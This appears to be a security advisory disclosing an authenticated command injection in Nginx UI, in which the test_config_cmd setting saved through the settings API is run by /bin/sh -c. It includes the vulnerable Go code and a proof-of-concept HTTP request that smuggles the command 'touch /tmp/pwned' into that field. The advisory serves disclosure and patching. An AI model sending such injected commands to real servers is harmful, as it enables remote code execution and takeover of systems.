| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/0xJacky/Nginx-UI | < 1.9.10-0.20231219184941-827e76c46e63 | 1.9.10-0.20231219184941-827e76c46e63 |
| nginx ui | = 2.0.0< 2.0.0 | 2.0.0 |
The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API.
func InitPrivateRouter(r *gin.RouterGroup) {
r.GET("settings", GetSettings)
r.POST("settings", SaveSettings)
...
}
The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.
The SaveSettings function is defined as follows:
func SaveSettings(c *gin.Context) {
var json struct {
...
Nginx settings.Nginx `json:"nginx"`
...
}
...
settings.NginxSettings = json.Nginx
...
err := settings.Save()
...
}
The test_config_cmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function:
func TestConf() (out string) {
if settings.NginxSettings.TestConfigCmd != "" {
out = execShell(settings.NginxSettings.TestConfigCmd)
return
}
out = execCommand("nginx", "-t")
return
}
The execShell function is defined as follows:
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freefunc execShell(cmd string) (out string) {
bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput()
out = string(bytes)
if err != nil {
out += " " + err.Error()
}
return
}
Where the cmd argument is user-controlled and is passed to /bin/sh -c.
This issue was found using CodeQL for Go: Command built from user-controlled sources.
Based on this setup using
uozi/nginx-ui:v2.0.0-beta.7.
"test_config_cmd":"touch /tmp/pwned".POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 528
Authorization: <<JWT TOKEN>
Content-Type: application/json
{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
Home > Manage Sites > Add Site with random data. The previously-modified test_config_cmd setting will be used when the application tries to test the nginx configuration./tmp/pwned exists.$ docker exec -it $(docker ps -q) ls -al /tmp
-rw-r--r-- 1 root root 0 Dec 14 21:10 pwned
This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.